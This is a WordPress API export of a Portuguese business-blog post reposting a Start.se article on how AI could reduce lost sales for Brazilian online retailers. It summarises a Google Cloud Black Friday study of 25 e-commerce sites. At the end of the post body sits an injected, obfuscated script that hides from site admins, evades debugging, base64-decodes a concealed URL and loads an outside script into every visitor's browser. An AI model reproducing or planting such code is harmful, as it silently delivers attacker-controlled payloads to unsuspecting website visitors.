{"id":849,"date":"2024-01-16T21:14:46","date_gmt":"2024-01-16T21:14:46","guid":{"rendered":"https:\/\/4strats.com.br\/?p=849"},"modified":"2026-01-28T22:05:39","modified_gmt":"2026-01-28T22:05:39","slug":"varejo-perde-trilhao-de-reais-porque-nao-usa-inteligencia-artificial","status":"publish","type":"post","link":"https:\/\/4strats.com.br\/new\/ia\/varejo-perde-trilhao-de-reais-porque-nao-usa-inteligencia-artificial\/","title":{"rendered":"Varejo perde trilh\u00e3o de reais porque n\u00e3o usa Intelig\u00eancia Artificial"},"content":{"rendered":"\n<p>A<a href=\"https:\/\/www.startse.com\/tag\/inteligencia-artificial\/\">\u00a0<\/a>Intelig\u00eancia Artificial\u00a0\u00e9 um forte atributo de personaliza\u00e7\u00e3o e de fideliza\u00e7\u00e3o, principalmente quando o assunto \u00e9 varejo online.<\/p>\n\n\n\n<p>Para voc\u00ea ter uma no\u00e7\u00e3o, \u201ca ado\u00e7\u00e3o dessas tecnologias ajuda a reduzir o \u00edndice de abandono de pesquisa, algo que faz com que os varejistas deixem de ganhar mais de R$ 1,6 trilh\u00e3o no Brasil a cada ano\u201d, segundo estudo global realizado pela consultoria The Harris Poll, a pedido do Google Cloud.<\/p>\n\n\n\n<p>O impacto maior est\u00e1, por exemplo, durante a&nbsp;<strong>Black Friday<\/strong>&nbsp;\u2015 data mais aguardada pelo varejo. Assim, os e-commerces que \u201cdesejam obter sucesso em datas sazonais e, claro, na Black Friday deste ano, precisam olhar para essas tecnologias desde j\u00e1&#8221;, diz Marco Bravo, head do Google Cloud no Brasil, no lan\u00e7amento da FlashBlack, pesquisa realizada com 25 e-commerces durante a Black Friday de 2022.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Por qu\u00ea?<\/strong>&nbsp;\u201cAs solu\u00e7\u00f5es de IA ajudam os e-commerces a melhorar aspectos como a recomenda\u00e7\u00e3o de produtos e um atendimento humanizado a partir de linguagem natural\u201d, afirma Bravo.<\/p>\n\n\n\n<p>Veja o que a pesquisa destacou:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>7 dos 25 e-commerces apresentaram&nbsp;<strong>erros de time out&nbsp;<\/strong>(quando o servidor demora muito a responder) no dia da Black Friday.<\/li>\n\n\n\n<li><strong>Nenhum&nbsp;<\/strong>e-commerce conseguiu carregar a p\u00e1gina no tempo ideal de 2,5 segundos.<\/li>\n\n\n\n<li>12 dos 25 e-commerces recomendam produtos com base na navega\u00e7\u00e3o do pr\u00f3prio site.<\/li>\n\n\n\n<li>11 dos 25 e-commerces&nbsp;<strong>n\u00e3o entregam resultado quando tem algum erro de digita\u00e7\u00e3o<\/strong>&nbsp;no nome do produto. O detalhe \u00e9 que 10% das pesquisas feitas no Google tem algum erro de digita\u00e7\u00e3o\/ortografia.<\/li>\n\n\n\n<li>8 dos 24 e-commercers permitem que o consumidor&nbsp;<strong>use a c\u00e2mera para buscar um produto<\/strong>&nbsp;no aplicativo.<\/li>\n\n\n\n<li><strong>Apenas 3 e-commerces tem chatbots com linguagem natural<\/strong>, indo al\u00e9m de perguntas pre-definidas no aplicativo.<\/li>\n\n\n\n<li>Em 5 e-commerces foi poss\u00edvel&nbsp;<strong>solicitar atendimento humano por meio do chatbot<\/strong>&nbsp;em ambas plataformas (app e site).<\/li>\n\n\n\n<li>2 dos 17 e-commerces oferecem pelo menos&nbsp;<strong>3 op\u00e7\u00f5es de entrega<\/strong>.<\/li>\n\n\n\n<li>Dos e-commerces analisados,&nbsp;<strong>apenas 1 oferece pelo menos 3 ferramentas de acessibilidade no desktop<\/strong>.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-p-or-que-importa\"><strong>P<\/strong>or que importa?<\/h2>\n\n\n\n<p>O&nbsp;<strong>varejo<\/strong>, de acordo com os porta-vozes do Google Cloud,&nbsp;<strong>tem sido um motor para incentivar a moderniza\u00e7\u00e3o em outras ind\u00fastrias<\/strong>. E muitos movimentos importantes t\u00eam acontecido no setor para criar competitividade,&nbsp;<strong>efici\u00eancia&nbsp;<\/strong>e crescimento.&nbsp;<\/p>\n\n\n\n<p>O desafio, entretanto, ainda \u00e9&nbsp;<strong>identificar a prioriza\u00e7\u00e3o<\/strong>. Com o estudo e o avan\u00e7o r\u00e1pido de tecnologias como a IA, a perspectiva \u00e9 que o setor se prepare quanto antes, chegando na Black Friday com um sistema robusto e canais prontos para atender bem. Afinal, como diz o estudo: \u201c<strong>para cada porta fechada, uma nova aba aberta<\/strong>.\u201d De nada adianta atrair o p\u00fablico, se ele encontra a porta fechada ao chegar no seu sistema. E a exig\u00eancia do consumidor segue alta, hein?<\/p>\n\n\n\n<p>Artigo originalmente publicado por <a href=\"https:\/\/administradores.com.br\/noticias\/aws-lanca-programa-de-aceleracao-global-para-fintechs-que-utilizam-ia-e-ml\"><\/a><a href=\"https:\/\/www.startse.com\/artigos\/inteligencia-artificial-e-chatbot-varejo\/\">Start.se<\/a><a href=\"https:\/\/powerbi.microsoft.com\/pt-br\/what-is-business-intelligence\/\"><\/a><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.4strats.com.br\/index.php\">4Strategies &#8211; Alta Performance para estrat<\/a><a href=\"https:\/\/4strats.com.br\/\">\u00e9gias corporativas<\/a><\/strong><\/p>\n<\/blockquote>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>A\u00a0Intelig\u00eancia Artificial\u00a0\u00e9 um forte atributo de personaliza\u00e7\u00e3o e de fideliza\u00e7\u00e3o, principalmente quando o assunto \u00e9 varejo online. Para voc\u00ea ter uma no\u00e7\u00e3o, \u201ca ado\u00e7\u00e3o dessas tecnologias ajuda a reduzir o \u00edndice de abandono de pesquisa, algo que faz com que os varejistas deixem de ganhar mais de R$ 1,6 trilh\u00e3o no Brasil a cada ano\u201d, [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":850,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[],"class_list":["post-849","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ia"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Varejo perde trilh\u00e3o de reais porque n\u00e3o usa Intelig\u00eancia Artificial - 4strats<\/title>\n<meta name=\"description\" content=\"A\u00a0Intelig\u00eancia Artificial\u00a0\u00e9 um forte atributo de personaliza\u00e7\u00e3o e de fideliza\u00e7\u00e3o, principalmente quando o assunto \u00e9 varejo online.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/4strats.com.br\/new\/ia\/varejo-perde-trilhao-de-reais-porque-nao-usa-inteligencia-artificial\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Varejo perde trilh\u00e3o de reais porque n\u00e3o usa Intelig\u00eancia Artificial - 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